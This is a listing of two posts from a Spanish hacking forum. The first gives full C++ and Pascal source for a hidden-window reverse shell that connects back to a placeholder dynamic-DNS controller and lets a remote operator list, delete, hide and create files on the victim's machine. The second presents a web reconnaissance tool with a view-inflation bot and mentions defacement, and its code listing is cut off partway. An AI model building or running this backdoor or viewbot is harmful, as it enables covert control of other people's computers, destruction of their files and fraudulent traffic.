|
Mostrar Temas
|
Páginas: [1] 2
|
1
|
Programación / Programación General / [Pascal+C++] WarCSockLib(+demo shellinversa)
|
en: 2 Septiembre 2013, 04:05 am
|
Saludos. Como estos últimos 2 días los tuve libre, se me ocurrió elaborar un shell inversa en pascal pero no era suficiente, el tema ya se ha tocado, así que decidí agregarle un factor X, ya hace meses que no hago nada en C/C++ y la verdad es que me dieron ganas de de fusionar el poder de C con el de pascal, así que cree esta simple librería, por supuesto esto es solo una beta, falta mucho que agregar, y corregir, ademas esta pequeña shell solo tiene como propósito demostrar lo que se podría hacer juntando estos 2 lenguajes. propiedades de la shell: - Multiconexión
- Migrar las sesiones de las conexiones actuales
- Lista archivos y carpetas
- Muestra información de las unidades del sistema
- Despliega información de un archivo(como la ultima fecha de modificación, peso, etc..)
- Permite borrar archivos/carpetas, crearlas, esconderlas
- Muestra la hora del sistema
- ip y demas...
Las contras son que tienen varios fallos, muchas veces en la escritura de los sockets. Por que como dije, en estos 2 días no corregí todo ademas hay funciones que deben ser cambiadas... También quería comentar que estuve estudiando AT&T y se me hizo un tanto más difícil que la sintaxis de intel(por lo menos ami). el administrador de la shell lo dejare en la descarga ya que es muy simple. Esta programado con tserversocket.Link para descarga de la shell: http://www.mediafire.com/download/d1g9ehi227ctkka/WarShell.rarSin mas que decir el código de la .dll en C++ #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <winsock.h> #include <time.h> /* Las siguientes funciones como los desensamblados en ImmDbg fueron escritas en AT&T por Warz0n3, puedes encontrarme en indetectables.net y foro.elhacker.net por cualquier duda que tengas. */ #define CALLEXPORT extern "C" #define __callspec __declspec(dllexport) typedef struct _wc_sconf { HANDLE hFile; WIN32_FIND_DATA FindFile; time_t rawtime; struct tm *timeinfo; } pwc_confsock; #define drive_sz 27 #define BYTE_NO_ALIGN -0x1 #define BYTE_ALIGN 0x1 #define DRIVER_DESCONOCIDO 0x0 #define DRIVER_SYSLEN 0x4 #define DRIVER_DESMONTABLE 0x2 #define DRIVER_FIJO 0x3 #define DRIVER_REMOTO 0x4 #define DRIVER_CDROM 0x5 #define DRIVER_RAMDISK 0x6 const LPCWSTR drivers[drive_sz] = { L"A:/", L"B:/", L"C:/", L"D:/", L"E:/", L"F:/", L"G:/", L"H:/", L"I:/", L"J:/", L"K:/", L"L:/", L"M:/", L"N:/", L"O:/", L"P:/", L"Q:/", L"R:/", L"S:/", L"T:/", L"U:/", L"V:/", L"W:/", L"X:/", L"Y:/", L"Z:/"}; UINT driver_type; // unsigned int char *driver_buff[_MAX_PATH]; CALLEXPORT { // compara que 2 integros sean iguales, si lo son retorna el valor constante // de nuestro operando(sin signo) y si no es igual retorna -1 __callspec __stdcall int WIN32__volatil__cmplogic(int cmpval, int retval) { asm volatile ( // no guardamos la variable en el microprocesador "sub $0x4, %%esp\n" "mov 0x8(%%ebp), %%eax\n" // preparamos el s.frame "cmp 0xc(%%ebp), %%eax\n" // comparamos el parametro de la variable (este es el puntero pre-definido por el stack frame) "jne a2\n" // si la comparacion dio negativa saltamos a a2 // lo preparamos por si es igual (1) "movl $0x1, %%eax\n" // movemos positivo(1) a eax "movl %%eax, %0\n" // movemos eax a eax "nop\n" "mov 0xc(%%ebp), %%eax\n" "mov %%eax, 0xfffffffc(%%ebp)\n" "jmp a3\n" // si es igual saltamos a a3 "a2: movl $0xffffffff, 0xfffffffc(%%ebp)\n" // si no es igual mueve -1 a ebp "a3: mov 0xfffffffc(%%ebp), %%eax\n" "leave\n" "ret\n" // salimos y retornamos de la funcion :"=r"(retval) // y en el output de solo escritura retornamos la variable :"r"(0x00000000) // movemos el octeto de 0 en el input (solo para preparar) ); } /* intel x86 Como se ve mi funcion en ImmDbg 00401290 /$ 55 PUSH EBP 00401291 |. 89E5 MOV EBP,ESP 00401293 |. 83EC 08 SUB ESP,8 00401299 |. 8D45 08 LEA EAX,DWORD PTR SS:[EBP+8] ; | 0040129C |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; | 004012A0 |. C70424 0200000>MOV DWORD PTR SS:[ESP],2 ; | 004012A7 |. E8 94010000 CALL <JMP.&WS2_32.WSAStartup> ; \WSAStartup 004012AC |. 83EC 08 SUB ESP,8 004012B2 |. C9 LEAVE 004012B3 \. C3 RETN Funcion en AT&T push %ebp , mov %esp , %ebp <- en este caso no lo hago por que las functiones en c++ ya se inicializan con el stack frame pre-configurado... 401293: 83 ec 08 sub $0x8,%esp ....... 401299: 8d 45 08 lea 0x8(%ebp),%eax 40129c: 89 44 24 04 mov %eax,0x4(%esp) 4012a0: c7 04 24 02 00 00 00 movl $0x2,(%esp) 4012a7: e8 94 01 00 00 call 0x401440 4012ac: 83 ec 08 sub $0x8,%esp ....... 4012b2: c9 leave 4012b3: c3 ret */ __callspec __stdcall void wcsock_init_driver(WSADATA wsa) { __asm__( "sub $0x8, %esp \n" "lea 0x8(%ebp), %eax \n" "mov %eax, 0x4(%esp) \n" "movl $0x2,(%esp) \n" "call _WSAStartup@8 \n" "sub $0x8, %esp \n" "leave \n" "ret \n" ); } __callspec __stdcall void wcsock_connect_matrix(SOCKET wc_tcpsock, struct sockaddr_in saddr) { connect(wc_tcpsock, (struct sockaddr *)&saddr, sizeof(saddr)); } /* Como se ve mi funcion en ImmDbg 004012B0 /$ 55 PUSH EBP 004012B1 |. 89E5 MOV EBP,ESP 004012B3 |. 83EC 08 SUB ESP,8 ... 004012B9 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; | 004012BC |. 890424 MOV DWORD PTR SS:[ESP],EAX ; | 004012BF |. E8 9C010000 CALL <JMP.&WS2_32.closesocket> ; \closesocket 004012C4 |. 83EC 04 SUB ESP,4 004012C7 |. E8 A4010000 CALL <JMP.&WS2_32.WSACleanup> ; [WSACleanup ... 004012CF |. C9 LEAVE 004012D0 \. C3 RETN los mov eax, ebp y esp son los parametros al s.frame incluso el de subs para volver, y una ves llamada la funcion salgo. */ __callspec __stdcall void wcsock_free(SOCKET wc_tcpsock) { __asm__( "mov 0x8(%ebp), %eax \n" "mov %eax, (%esp) \n" "call _closesocket@4 \n" "sub $0x4, %esp \n" "call _WSACleanup@0 \n" "leave \n" "ret \n" ); } /* // Simple peticion por GET. __callspec __stdcall char* wcsock_get_proto(SOCKET sock, int buffsize) { char reply[buffsize], *metodo; metodo= "GET / HTTP/1.1\r\n\r\n"; send(sock, metodo, strlen(metodo), 0); recv(sock, reply, buffsize, 0); return reply; }*/ /* intel x86 00401299 |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] ; || 0040129C |. 890424 MOV DWORD PTR SS:[ESP],EAX ; || 0040129F |. E8 AC070000 CALL <JMP.&msvcrt.strlen> ; |\strlen 004012A4 |. C74424 0C 0000>MOV DWORD PTR SS:[ESP+C],0 ; | 004012AC |. 894424 08 MOV DWORD PTR SS:[ESP+8],EAX ; | 004012B0 |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] ; | 004012B3 |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; | 004012B7 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; | 004012BA |. 890424 MOV DWORD PTR SS:[ESP],EAX ; | 004012BD |. E8 9E010000 CALL <JMP.&WS2_32.send> ; \send 004012C2 |. 83EC 10 SUB ESP,10 La config de s.frame se da igual que en los otros casos... @necesario para el compilador */ __callspec __stdcall void wcsock_sendstr(SOCKET sock, char *msg) { __asm__( "sub $0x18,%esp \n" "mov 0xc(%ebp), %eax \n" "mov %eax, (%esp) \n" "call _strlen \n" "movl $0x0, 0xc(%esp) \n" "mov %eax, 0x8(%esp) \n" "mov 0xc(%ebp), %eax \n" "mov %eax, 0x4(%esp) \n" "mov 0x8(%ebp), %eax \n" "mov %eax,(%esp) \n" "call _send@16 \n" "sub $0x10,%esp \n" "leave \n" "ret \n" ); } __callspec __stdcall void WIN32SendFindFile(SOCKET wc_tcpsock, char *path , char *delim, int SOCK_TYPE) { pwc_confsock sfile; char fpath[_MAX_PATH], *ffpath[_MAX_PATH]; //char *driver_buff[_MAX_PATH]; strcpy(fpath, path); sfile.hFile= FindFirstFile(fpath, &sfile.FindFile); while (FindNextFile(sfile.hFile, &sfile.FindFile)!=false) { if (ffpath[0]==0x0) send(wc_tcpsock, (const char *)delim, strlen(delim), SOCK_TYPE); ffpath[0]= strcat(sfile.FindFile.cFileName, delim); send(wc_tcpsock, ffpath[0], strlen(sfile.FindFile.cFileName), SOCK_TYPE); } } __callspec __stdcall void wcsock_double_buffer_send(SOCKET wc_tcpsock, char *dbuffer, char *permutar ) { for (int i=BYTE_ALIGN; i<=0x2; i++){ wcsock_sendstr(wc_tcpsock, dbuffer); if ( WIN32__volatil__cmplogic(0x2, i+0x1)!=BYTE_NO_ALIGN) __asm__ volatile( "movl %0, %%eax" : "=r"(dbuffer) : "r"(permutar) ); // lo pongo en el GPR y el registro es el acumulativo } } __callspec __stdcall char *WIN32GetLogicalDrivers(int *, char *delim, int forsignal, int *) { driver_type= GetDriveTypeW(drivers[forsignal]); #ifdef DRIVER_DESCONOCIDO if (driver_type==DRIVER_DESCONOCIDO)return (char *)drivers[forsignal]; #endif #ifdef DRIVER_DESMONTABLE if (driver_type==DRIVER_DESMONTABLE)return (char *)drivers[forsignal]; #endif #ifdef DRIVER_FIJO if (driver_type==DRIVER_FIJO)return (char *)drivers[forsignal]; #endif #ifdef DRIVER_REMOTO if (driver_type==DRIVER_REMOTO)return (char *)drivers[forsignal]; #endif #ifdef DRIVER_CDROM if (driver_type==DRIVER_CDROM)return (char *)drivers[forsignal]; #endif #ifdef DRIVER_RAMDISK if (driver_type==DRIVER_RAMDISK)return (char *)drivers[forsignal]; #endif } /* 004014E9 |. 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] ; |||| 004014EC |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |||| 004014EF |. E8 8C050000 CALL <JMP.&msvcrt.time> ; |||\time */ __callspec __stdcall void WIN32SendSysTime(SOCKET wc_tcpsock, char *delim, int SOCK_TYPE) { pwc_confsock stime; stime.timeinfo = localtime ( &stime.rawtime ); printf ( "Current local time and date: %s", asctime (stime.timeinfo) ); send(wc_tcpsock, asctime(stime.timeinfo), 0x248, SOCK_TYPE); } __callspec __stdcall void WIN32SendCurrentDir(SOCKET wc_tcpsock, TCHAR delim, int SOCK_TYPE) { DWORD nBufferLength; TCHAR lpBuffer[2048]= {delim}; //strlen((const char*)delim) GetCurrentDirectory(nBufferLength, lpBuffer+0x1); send(wc_tcpsock, lpBuffer, strlen(lpBuffer), SOCK_TYPE); } //int PASCAL recv(SOCKET,char*,int,int); /*__callspec __stdcall int wcsock_recv(SOCKET sock, char *recv_buffer , int type_sock) { return recv(sock, recv_buffer, strlen(recv_buffer), type_sock); }*/ }
El servidor de la shellprogram WarCSock; uses SysUtils, WINDOWS, WinSock, Kol; {$APPTYPE CONSOLE} const warcsock_lib = 'WarCSock.dll'; WCS_SOCK_STREAM = $00000001; WCS_TCP_INET = $00000002; WCS_PROTO_TCP = $00000006; WCS_SOCK_ZERO = $00000000; DRIVER_SYSLEN = $0000001B; BYTE_NO_ALIGN =-$00000001; // I/O WCS_FILE_SHARE_READ = $00000001; WCS_FILE_SHARE_WRITE = $00000002; WCS_FILE_ATTR_NORMAL = $00000080; WCS_FILE_CREATE = $00000002; WCS_FILE_ATTR_READONLY = $00000001 platform; WCS_FILE_ATTR_HIDDEN = $00000002 platform; WCS_FILE_ATTR_SYSTEM = $00000004 platform; WCS_FILE_ATTR_DIR = $00000010; WCS_FILE_ATTR_ARCHIVE = $00000020 platform; // simple encriptacion de los valores chars en bytes EncryptedHashBytesBuffer : array[0..25] of Integer= ( $B6-105 xor (3 shl 2), $B2-112, $A0-77 xor (2 shl 3), $44, $65 xor (2 shl 4), $42 xor (1 shl 2), $4F xor 2 shl 2, $60 xor (5 shl 3), $4B xor 2, $46 xor (3 shl 2), $A3-84 xor 4, $B8-108, $B8-107, $4A xor 4, $A4-89 xor 4, $70 xor (4 shl 3), $57 xor (3 shl 1), $5A xor (1 shl 3), $73 xor 4 shl 3, $64 xor (3 shl 4), $59 xor (3 shl 2), $56, $55 xor 2, $68 xor (3 shl 4), $5B xor 2, $58 xor 2 ); type PHost_addr = ^sock_addr_in; // la estructura para mis sockets sock_addr_in = record pAddr : sockaddr_in; WSA : WsaData; TcpSock : TSocket; ChBuffer : array[$00..2048] OF Char; PaBuffer : array[$00..(GETEXTENDEDTEXTMETRICS*2)] OF AnsiChar; Strlist : PStrList; end; function WIN32__volatil__cmplogic(cmpval, retval: integer): integer; stdcall; external warcsock_lib NAME 'WIN32__volatil__cmplogic'; function wcsock_init_driver(WSA:WsaData) : Integer; stdcall; external warcsock_lib NAME 'wcsock_init_driver'; procedure wcsock_connect_matrix(TcpSock:tSocket; sAddr:sockaddr_in); stdcall; external warcsock_lib NAME 'wcsock_connect_matrix'; function wcsock_get_proto(TcpSock:tSocket; buffSize:Integer) : PChar; stdcall; external warcsock_lib NAME 'wcsock_get_proto'; procedure wcsock_sendstr(TcpSock:tSocket; MSG:string); stdcall; external warcsock_lib NAME 'wcsock_sendstr'; procedure wcsock_double_buffer_send(TcpSock:tSocket; MSG:string; Permutar:string); stdcall; external warcsock_lib NAME 'wcsock_double_buffer_send'; procedure WIN32SendFindFile(TcpSock:tSocket; FPath, Delim: PChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendFindFile'; function WIN32GetLogicalDrivers( NullStackFramePointer : Integer; Delim:PChar; DriverList, NullStackFrameRef : Integer): PChar; stdcall; external warcsock_lib NAME 'WIN32GetLogicalDrivers'; procedure WIN32SendSysTime(TcpSock:tSocket; Delim:PChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendSysTime'; procedure WIN32SendCurrentDir(TcpSock:tSocket; Delim:AnsiChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendCurrentDir'; //function wcsock_recv(TcpSock:tSocket; Recv_Buffer:PChar; TypeSock:Integer) : Integer ; stdcall; external warcsock_lib NAME 'wcsock_recv'; procedure wcsock_free(TcpSock:tSocket); stdcall; external warcsock_lib NAME 'wcsock_free'; function GetConsoleWindow : HWND; stdcall; external kernel32 name 'GetConsoleWindow'; var Wsa : WsaData; TcpSock : TSocket; PHostAddr : PHost_addr; Host : string; Port : Uint; TcpInit : BOOL; sData : string; FAttr : Integer; FHandle : DWORD; function // solo usar para las conexiones remotas __call_ix86_getip(): PChar; assembler; asm PUSH EBX ADD ESP, 0FFFFFE70h PUSH ESP // configuro de la pila PUSH $1 CALL WSASTARTUP PUSH Host // 04081B4h CALL GetHostByName MOV EAX, [EAX+0Ch] // puntero en el stack frame XOR EDX, EDX MOV EAX, [EAX+EDX*4] PUSH DWORD PTR [EAX] CALL INET_NTOA MOV EBX, EAX CALL WSACleanup MOV EAX, EBX ADD ESP, 0190h POP EBX RETN end; (* 0040845D |. 53 PUSH EBX ; /FileName 0040845E |. E8 09FFFFFF CALL <JMP.&kernel32.DeleteFileA> ; \DeleteFileA *) function AsmDeleteFileA(fname : PCHAR) : integer; begin ASM // si no existe retorna -1 OR ESI, 0FFFFFFFFh NOP END; {$I-} if FileExists(fname) then ASM PUSH EBX CALL DELETEFILEA MOV EBX, $1 MOV ESI, EBX // retorna 1 si encuentra el archivo END; {$I+} end; function WIN32GetDriverList(delim:string) : string; var i : Integer; Hash : Char; begin Result:= ''; for i:= 0 to DRIVER_SYSLEN do begin for Hash:=Chr(EncryptedHashBytesBuffer[0]) to Chr(EncryptedHashBytesBuffer[25]) do begin // preconfiguracion del stack frame cuando es llamada en C aun que en pascal paresca inutil los argumentos son requeridos if POS( Hash, WIN32GetLogicalDrivers($0, #0, i, $0) )<>0 then Result:= Result+delim+Hash; end; end; Result:= Result; end; begin ShowWindow(GetConsoleWindow, SW_HIDE); GetMem(PHostAddr, 3*sizeof(sock_addr_in)); Host:= 'www.tu-noip.com'; // solo usar en caso de conexiones remotas Port:= 999; wcsock_init_driver(WSA); ASM PUSH WCS_SOCK_ZERO PUSH WCS_SOCK_STREAM // stack frame para la configuracion de mi socket PUSH WCS_TCP_INET CALL SOCKET MOV ESI, EAX END; PHostAddr^.pAddr.sin_family := WCS_TCP_INET; PHostAddr^.pAddr.sin_port := u_short(htons(Port)); PHostAddr^.pAddr.sin_addr.s_addr := inet_addr('127.0.0.1'); //inet_addr( __call_ix86_getip() ); SOLO EN CASO DE CONEXIONES REMOTAS PHostAddr^.Strlist := NewStrList; wcsock_connect_matrix(TcpSock, PHostAddr^.PAddr); WIN32SendCurrentDir(TcpSock, '>', WCS_SOCK_ZERO); //wcsock_send(TcpSock, '&MSG'); while TcpInit=true do begin sleep(1 div $5); Recv(TcpSock, PHostAddr^.CHBuffer, length(PHostAddr^.CHBuffer), WCS_SOCK_ZERO); if PHostAddr^.CHBuffer>'' then begin //WRITELN( PHostAddr^.chBuffer ); if strpos(PHostAddr^.ChBuffer, 'ls')<>nil then begin sData:= system.copy(PHostAddr^.ChBuffer, 10, length(PHostAddr^.ChBuffer)-$1); WIN32SendFindFile(TcpSock, PChar(sData+'*.*'), '%FILES', WCS_SOCK_ZERO); end; if strpos(PHostAddr^.ChBuffer, 'get_drivers')<>nil then wcsock_sendstr(TcpSock, '%DRVLST'+WIN32GetDriverList('-') ); if strpos(PHostAddr^.ChBuffer, 'get_time')<>nil then WIN32SendSysTime(TcpSock, '%TIME', WCS_SOCK_ZERO); if strpos(PHostAddr^.ChBuffer, 'mkfile')<>nil then begin {$I-} sData:= system.copy(PHostAddr^.ChBuffer, 8, length(PHostAddr^.ChBuffer)); if (Windows.CreateFile(PChar(sData), WCS_FILE_SHARE_READ, WCS_FILE_SHARE_WRITE, nil, WCS_FILE_CREATE, WCS_FILE_ATTR_NORMAL, 0)<>-1) then wcsock_sendstr(TcpSock, 'Archivo '+sData+' creado exitosamente!') {$I+} end; if strpos(PHostAddr^.ChBuffer, 'info')<>nil then begin sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer)); if FileExists(sData) then begin FAttr:= FileGetAttr(PChar(sData)); if FAttr and WCS_FILE_ATTR_READONLY > 0 then wcsock_sendstr(TcpSock, '- Archivo de solo lectura') else wcsock_sendstr(TcpSock, '- El archivo no es de solo lectura'); if FAttr and WCS_FILE_ATTR_HIDDEN > 0 then wcsock_sendstr(TcpSock,'- Archivo oculto') else wcsock_sendstr(TcpSock,'- Archivo desoculto'); if FAttr and WCS_FILE_ATTR_SYSTEM > 0 then wcsock_sendstr(TcpSock,'- Archivo del sistema') else wcsock_sendstr(TcpSock,'- El archivo no es del sistema'); FAttr:= FileAge(sData); wcsock_sendstr(TcpSock, '- fecha de ultima modificacion: '+DateToStr(FileDateToDateTime(FAttr))+ #13#10+'- tamaño del archivo: '+IntToStr(Kol.FileSize(sData))+' bytes' ); end else if DirectoryExists(sData) then begin wcsock_sendstr(TcpSock,'- El archivo es de tipo carpeta'); end else begin wcsock_sendstr(TcpSock,'- El archivo/carpeta no existe.'); end; end; if strpos(PHostAddr^.ChBuffer, 'hide')<>nil then begin {$I-} sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer)); FileSetAttr(sData, faHidden); wcsock_sendstr(TcpSock, 'Archivo/carpeta '+sData+' escondido') {$I+} end; if strpos(PHostAddr^.ChBuffer, 'show')<>nil then begin {$I-} sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer)); FileSetAttr(sData, 0); wcsock_sendstr(TcpSock, 'Archivo/carpeta '+sData+' desocultado'); {$I+} end; if strpos(PHostAddr^.ChBuffer, 'del')<>nil then begin sData:= system.copy(PHostAddr^.ChBuffer, 5, length(PHostAddr^.ChBuffer)); if (AsmDeleteFileA(PChar(sData))<>BYTE_NO_ALIGN)then wcsock_sendstr(TcpSock, 'Archivo borrado correctamente!') else wcsock_sendstr(TcpSock, 'Archivo no encontrado...'); end; if strpos(PHostAddr^.ChBuffer, 'mkdir')<>nil then begin {$I-} sData:= system.copy(PHostAddr^.ChBuffer, 7, length(PHostAddr^.ChBuffer)); if ((WIN32__volatil__cmplogic(7, 7)<>BYTE_NO_ALIGN)and(CreateDir(sData)<>false)) then wcsock_sendstr(TcpSock, 'La carpeta '+sData+' ha sido creada exitosamente!') else wcsock_sendstr(TcpSock, 'Se ha producido un error al crear la carpeta'); end; {$I+} if strpos(PHostAddr^.ChBuffer, 'rmdir')<>nil then begin {$I-} sData:= system.copy(PHostAddr^.ChBuffer, 7, length(PHostAddr^.ChBuffer)); if ((WIN32__volatil__cmplogic(7, 7)<>BYTE_NO_ALIGN)and(RemoveDir(sData)<>false)) then wcsock_sendstr(TcpSock, 'La carpeta '+sData+' ha sido borrado correctamente!') else wcsock_sendstr(TcpSock, 'Se ha producido un error al borrar la carpeta(o esta no existe)'); end; {$I+} if strpos(PHostAddr^.ChBuffer, 'chd')<>nil then begin sData:= system.copy(PHostAddr^.ChBuffer, 5, length(PHostAddr^.ChBuffer)-$1); {$I-}SETCURRENTDIR(sData);{$I+} end; if strpos(PHostAddr^.ChBuffer, 'exit')<>nil then begin wcsock_sendstr(TcpSock, 'Saliendo del servidor... '); TcpInit:= false; end; WIN32SendCurrentDir(TcpSock, '>', WCS_SOCK_ZERO); end; end; Shutdown(TcpSock, WCS_TCP_INET); wcsock_free(TcpSock); FreeMem(PHostAddr); end.
|
|
|
2
|
Programación / Programación General / Gathor 0.5
|
en: 24 Agosto 2013, 02:09 am
|
Después de tanto tiempo ocupado hoy vengo a traerles una herramienta que hace tiempo tenia pensado.... Se trata de un gathering fusionado con un viewbot que había hecho hace algún tiempo (también hice un tutorial de como programar uno, buscarlo en la sección delphi). Obviamente este versión esta mejorada y se le han agregado mas características, por ejemplo los métodos http tales como options, head, get, post, etc... por si desean hacer algún deface una información extra no viene mal... también aumenta las vistas de un vídeo(todavía no le agregado los proxys, espero para la próxima entrega), lectura de un archivo, y descarga de .txt Lo programe en delphi 7 por si desean compilarlo por su cuenta(también dejare algunas imagenes con ejemplos de los parámetros usados y demás). Descarga : http://www.mediafire.com/download/zt5xha2hu7ac49d/Gathor.rarEl .rar no tiene contraseña. program Gathor; (*********************************************) (* Software : Gathor 0.5 *) (* Autor : WarZone *) (* Fecha : 23/8/13 *) (*********************************************) (* Explicacion: *) (* Un gathering de informacion web el cual *) (* tiene caracteristicas *) (* como leer el source de la pagina(index), *) (* ver el servidor en que se esta corriendo, *) (* fecha, version del protocolo, contenido, *) (* opciones de metodos usados <posiblemente *) (* permitiendo un Defacement>, leectura de un*) (* fichero y descarga, viewbot para aumentar *) (* visitas(por ejemplo a un video en youtube),*) (* etc... *) (*********************************************) (*********************************************) (* -Opciones de uso / Caracteristicas- *) (* *) (* Los siguientes comandos permiten hacer *) (* peticiones HTTP por distintas opciones, *) (* GET, POST, HEAD, ETC... y version del *) (* protocolo respectivamente 1.0 o 1.1 *) (* *) (* get_proto_0 -> metodo GET por HTTP/1.0 *) (* get_proto_1 -> GET por HTTP/1.1 *) (* post_proto_0 -> POST por HTTP/1.0 *) (* post_proto_1 -> POST por HTTP/1.1 *) (* options_proto_0 -> OPTIONS por HTTP/1.0 *) (* options_proto_1 -> OPTIONS por HTTP/1.1 *) (* head_proto_0 -> HEAD por HTTP/1.0 *) (* head_proto_1 -> HEAD por HTTP/1.1 *) (* Parametros + Ejemplo : *) (*********************************************) (* con parametro -g *) (* <sitio_web> <puerto> <opcion> *) (* -g www.google.com 80 get_proto_0 *) (*********************************************) (* con parametro -b *) (* <sitio/video_a_aumentar><intervalo_segs> *) (* -b www.youtube.com/video_a_aumentar 1 *) (*********************************************) (* con parametro -r *) (* <sitio><nombre_archivo_a_leer> *) (* -r www.sitio.com/robots.txt *) (*********************************************) (* con parametro -d *) (* <sitio><ruta+nombre_archivo_a_guardar> *) (* -d www.sitio.com/robots.txt C:/OUTPUT.TXT *) (*********************************************) (* con parametro -h y -m *) (* Desplega la ayuda *) (*********************************************) (* Puedes encontrarme en foro.elhacker.net e indetectables.net por cualquier duda. Todos los desensamblados como las funciones escritas en ASM fueron echas por WarZ0n3, si las incluyes en tu proyecto te pido que me des los creditos correspondientes... NO ME HAGO RESPONSABLE DEL MAL USO QUE LE PUEDAN DAR. Atte : Warz0n3 *) {$APPTYPE CONSOLE} uses SysUtils, Windows, WinInet, WinSock; type PTcpData = ^TcpData; TcpData = record SendDataBuffer : array[$00000000..GETEXTENDEDTEXTMETRICS] of Char; RecvDataBuffer : array[$00000000..(GETEXTENDEDTEXTMETRICS*2)] of AnsiChar; end; // configuracion del viewbot const INTERNET_OPEN_TYPE_PRECONFIG = $00000000; (* Usa la configuracion del registro(por defecto) *) INTERNET_OPEN_TYPE_DIRECT = $00000001; (* Acceso directo a la red *) INTERNET_OPEN_TYPE_PROXY = $00000003; (* Acceso via proxy *) INTERNET_SERVICE_HTTP = $00000003; {$DEFINE INTERNET_FLAG_RELOAD} {$DEFINE INTERNET_FLAG_NO_COOKIES} {$DEFINE INTERNET_FLAGS_MASK} INTERNET_FLAGS_MASK = INTERNET_FLAG_RELOAD or INTERNET_FLAG_NO_COOKIES; HASHKEY = 55; //$00000028; // 40d HTTP = 'http://'; // ****************************************** { Config } BL = #13#10; { HTTP Methods } POST = 'POST'; GET = 'GET'; OPTIONS = 'OPTIONS'; HEAD = 'HEAD'; { Version } HTTP0 = ' HTTP/1.0'; HTTP1 = ' HTTP/1.1'; STP = ' /'; { Octetos } ZERO = $00000000; BSIZE = $00001024; BUFFSIZE = $00000041; // 65d //$000000FF; BUFFDATA = $00001000; INADDRSIZE = $0000000A; var {$DEFINE Host} Host : string; {$DEFINE Port} Port : Uint; WSData : WsaData; TcpSocket : tSocket; sAddr : sockaddr_in; pIp : string; I : Integer; (* 00408450 /$ 55 PUSH EBP 00408451 |. 8BEC MOV EBP,ESP 00408453 |. 6A 00 PUSH 0 00408455 |. 53 PUSH EBX 00408456 |. 33C0 XOR EAX,EAX 00408458 |. 55 PUSH EBP 00408459 |. 68 BA844000 PUSH Project2.004084BA 0040845E |. 64:FF30 PUSH DWORD PTR FS:[EAX] 00408461 |. 64:8920 MOV DWORD PTR FS:[EAX],ESP 00408464 |. 68 9C374100 PUSH Project2.0041379C ; /pWSAData = Project2.0041379C 00408469 |. 6A 01 PUSH 1 ; |RequestedVersion = 1 (1.0.) 0040846B |. E8 98FFFFFF CALL <JMP.&wsock32.WSAStartup> ; \WSAStartup 00408470 |. 90 NOP 00408471 |. 90 NOP 00408472 |. 90 NOP 00408473 |. 8D55 FC LEA EDX,DWORD PTR SS:[EBP-4] 00408476 |. B8 01000000 MOV EAX,1 0040847B |. E8 88A3FFFF CALL Project2.00402808 00408480 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00408483 |. E8 A4BBFFFF CALL Project2.0040402C 00408488 |. 50 PUSH EAX ; /Name 00408489 |. E8 72FFFFFF CALL <JMP.&wsock32.gethostbyname> ; \gethostbyname 0040848E |. 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] 00408491 |. 33D2 XOR EDX,EDX 00408493 |. 8B0490 MOV EAX,DWORD PTR DS:[EAX+EDX*4] 00408496 |. FF30 PUSH DWORD PTR DS:[EAX] 00408498 |. E8 3BFFFFFF CALL <JMP.&wsock32.inet_ntoa> 0040849D |. 8BD8 MOV EBX,EAX 0040849F |. E8 6CFFFFFF CALL <JMP.&wsock32.WSACleanup> ; [WSACleanup 004084A4 |. 33C0 XOR EAX,EAX 004084A6 |. 5A POP EDX 004084A7 |. 59 POP ECX 004084A8 |. 59 POP ECX 004084A9 |. 64:8910 MOV DWORD PTR FS:[EAX],EDX 004084AC |. 68 C1844000 PUSH Project2.004084C1 004084B1 |> 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 004084B4 |. E8 83B7FFFF CALL Project2.00403C3C 004084B9 \. C3 RETN *) function // Host contiene la IP __call_ix86_getIP(): PChar; assembler; asm PUSH EBX ADD ESP, 0FFFFFE70h PUSH ESP PUSH $1 CALL WSASTARTUP NOP PUSH Host // 04081B4h CALL GetHostByName MOV EAX, [EAX+0Ch] XOR EDX, EDX NOP MOV EAX, [EAX+EDX*4] PUSH DWORD PTR [EAX] CALL INET_NTOA MOV EBX, EAX CALL WSACleanup MOV EAX, EBX ADD ESP, 0190h POP EBX RETN end; procedure __call_ix86_configureHost; assembler; asm MOV EDX, OFFSET Host MOV EAX, $2 // nparam CALL PARAMSTR end; procedure __call_ix86_configurePort; assembler; asm LEA EDX, [EBP-04h] MOV EAX, $3 CALL PARAMSTR MOV EAX, [EBP-04h] CALL STRTOINT MOV DWORD PTR DS:[PORT], EAX (* configuracion del host y el puerto*) end; function (*00408818 /$ 53 PUSH EBX 00408819 |. 33DB XOR EBX,EBX 0040881B |. 6A 74 PUSH 74 ; /Key = VK_F5 0040881D |. E8 3AC7FFFF CALL <JMP.&user32.GetAsyncKeyState> ; \GetAsyncKeyState 00408822 |. 66:85C0 TEST AX,AX 00408825 |. 74 03 JE SHORT Project2.0040882A 00408827 |. 83CB FF OR EBX,FFFFFFFF 0040882A |> 8BC3 MOV EAX,EBX 0040882C |. 5B POP EBX 0040882D \. C3 RETN *) __call_ix86_interceptF5() : BOOL; assembler; asm PUSH EBX XOR EBX, EBX PUSH $74 // F5 CALL GETASYNCKEYSTATE TEST AX, AX JE @A0040882D // label relativo OR EBX, $FFFFFFFF @A0040882D: MOV EAX, EBX POP EBX RETN end; (* // Configuracion del host y puerto 004084B7 |. BA 9C374100 MOV EDX, .0041379C 004084BC |. B8 01000000 MOV EAX,1 004084C1 |. E8 42A3FFFF CALL .00402808 004084C3 |. 8D55 FC LEA 